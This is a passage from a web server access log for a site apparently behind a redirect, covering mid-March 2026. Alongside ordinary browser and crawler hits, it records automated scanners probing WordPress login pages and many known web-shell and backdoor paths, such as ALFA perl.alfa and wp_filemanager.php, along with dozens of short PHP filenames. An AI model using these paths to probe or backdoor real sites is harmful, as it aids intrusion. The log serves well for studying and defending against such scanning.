(iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.168.43 - - [15/Mar/2026:22:01:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 178.128.43.13 - - [15/Mar/2026:23:01:44 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 178.128.43.13 - - [15/Mar/2026:23:01:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 88.17.24.184 - - [15/Mar/2026:22:16:08 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 98.89.254.180 - - [15/Mar/2026:22:41:05 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 74.7.242.29 - - [16/Mar/2026:00:05:24 +0300] "GET / HTTP/1.1" 301 795 "http://www.carplz.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 85.10.197.151 - - [15/Mar/2026:23:40:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 74.7.175.168 - - [16/Mar/2026:00:04:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 203.19.38.114 - - [15/Mar/2026:23:39:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 145.220.91.19 - - [16/Mar/2026:01:36:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 119.28.89.249 - - [16/Mar/2026:03:02:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.76 - - [16/Mar/2026:03:37:17 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.76 - - [16/Mar/2026:03:37:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.109.200.172 - - [16/Mar/2026:04:09:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 20.17.98.189 - - [16/Mar/2026:03:33:31 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.94.31.76 - - [16/Mar/2026:03:37:17 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.94.31.76 - - [16/Mar/2026:03:37:17 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.76 - - [16/Mar/2026:03:37:42 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.130.67.33 - - [16/Mar/2026:03:58:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.94.31.76 - - [16/Mar/2026:03:37:17 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 199.45.155.106 - - [16/Mar/2026:04:05:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 192.36.109.120 - - [16/Mar/2026:05:03:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 144.91.103.84 - - [16/Mar/2026:04:43:56 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 61.158.175.38 - - [16/Mar/2026:07:29:04 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 158.101.39.212 - - [16/Mar/2026:08:02:54 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.101.39.212 - - [16/Mar/2026:08:03:06 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.101.39.212 - - [16/Mar/2026:08:03:09 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 158.101.39.212 - - [16/Mar/2026:08:02:52 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 158.101.39.212 - - [16/Mar/2026:08:03:19 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 158.101.39.212 - - [16/Mar/2026:08:02:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 158.101.39.212 - - [16/Mar/2026:08:02:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 158.101.39.212 - - [16/Mar/2026:08:02:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 158.101.39.212 - - [16/Mar/2026:08:02:44 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 158.101.39.212 - - [16/Mar/2026:08:03:14 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 85.137.48.167 - - [16/Mar/2026:08:41:00 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 54.204.12.115 - - [16/Mar/2026:09:10:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36" 43.166.242.189 - - [16/Mar/2026:08:31:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.3.122 - - [16/Mar/2026:09:15:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.63.30.72 - - [16/Mar/2026:09:58:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3" 141.98.11.209 - - [16/Mar/2026:09:41:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.133" 195.63.23.180 - - [16/Mar/2026:09:58:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 194.26.192.138 - - [16/Mar/2026:12:07:50 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:49 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:49 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:50 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 3.129.69.229 - - [16/Mar/2026:12:14:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:49 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:50 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:50 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:50 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [16/Mar/2026:12:07:49 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 95.168.190.199 - - [16/Mar/2026:12:35:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; ORT/v1.0.0; visit ORTc.me )" 43.133.220.37 - - [16/Mar/2026:13:28:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.156.228.27 - - [16/Mar/2026:14:15:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 8.229.17.92 - - [16/Mar/2026:14:41:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.207.200.85 - - [16/Mar/2026:16:12:50 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 159.65.228.115 - - [16/Mar/2026:16:15:27 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 34.140.119.220 - - [16/Mar/2026:16:15:23 +0300] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.5" 45.3.55.96 - - [16/Mar/2026:16:19:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 221.229.106.25 - - [16/Mar/2026:16:40:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.4.63.207 - - [16/Mar/2026:17:20:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.28 Safari/537.36" 69.63.184.12 - - [16/Mar/2026:18:02:15 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.159.136.201 - - [16/Mar/2026:18:22:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.175.122 - - [16/Mar/2026:19:07:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.28.235.59 - - [16/Mar/2026:19:01:54 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 144.172.98.175 - - [16/Mar/2026:19:51:37 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 185.12.249.39 - - [16/Mar/2026:20:43:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 213.199.63.167 - - [16/Mar/2026:21:21:34 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 72.146.42.181 - - [16/Mar/2026:23:22:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 36.41.75.167 - - [16/Mar/2026:23:07:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.42.123 - - [16/Mar/2026:23:38:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.3050.134 Safari/537.36 LBBROWSER" 44.195.201.244 - - [16/Mar/2026:23:39:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 20.63.83.113 - - [16/Mar/2026:23:52:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.159.140.236 - - [16/Mar/2026:23:49:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.232.240 - - [17/Mar/2026:00:37:26 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:10 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:24 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:31 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:08 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:10 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:13 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:16 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:20 +0300] "GET /ws62.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:24 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:24 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:29 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:34 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:37 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:40 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:43 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:54 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:06 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:44 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:47 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:51 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:54 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:36 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:49 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:47:00 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:48:07 +0300] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 154.16.49.54 - - [17/Mar/2026:01:49:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 20.220.232.240 - - [17/Mar/2026:00:38:04 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:07 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:13 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:16 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:44 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:47 +0300] "GET /mamzi.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:49 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:52 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:39 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:09 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:12 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:15 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:18 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:22 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:24 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:27 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:29 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:25 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:30 +0300] "GET /file52.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:58 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:02 +0300] "GET /rtx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:06 +0300] "GET /ws79.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:36 +0300] "GET /wp-content/languages/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:01 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:18 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:04 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:51 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:53 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:43 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:35 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:38 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:42 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:47 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:50 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:52 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:55 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:37:59 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:21 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:24 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:38:28 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:40 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:39:59 +0300] "GET /fun.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:29 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:33 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:46 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:49 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:40:55 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:58 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:41:59 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:03 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:07 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:42:10 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:12 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:43:20 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:12 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:16 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:44:41 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:09 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:19 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:53 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:45:57 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:00 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [17/Mar/2026:00:46:03 